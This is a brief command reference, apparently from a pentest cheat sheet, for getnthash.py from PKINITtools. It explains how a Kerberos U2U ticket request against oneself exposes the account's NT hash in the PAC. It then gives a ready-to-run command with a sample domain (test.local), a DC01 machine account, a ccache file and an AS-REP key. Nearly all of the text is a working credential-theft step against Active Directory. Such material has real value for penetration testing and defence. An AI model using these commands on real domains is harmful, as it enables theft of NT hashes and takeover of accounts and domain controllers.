PKINIT getnthash.py request a TGS for yourself using Kerberos U2U. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that you got from your TGT request using gettgtpkinit.py from PKINIT. Use the TGT from gettgtpkinit.py in your KRB5CCNAME env variable.
Command Reference:
Domain: test.local
Host that you got the TGT from: DC01
TGT from gettgtpkinit.py: out.ccache
AS-REP key: 6e63333c372d7fbe64dab63f36673d0cd03bfb92b2a6c96e70070be7cb07f773
KRB5CCNAME=out.ccache python3 getnthash.py test.local/DC01\$ -key 6e63333c372d7fbe64dab63f36673d0cd03bfb92b2a6c96e70070be7cb07f773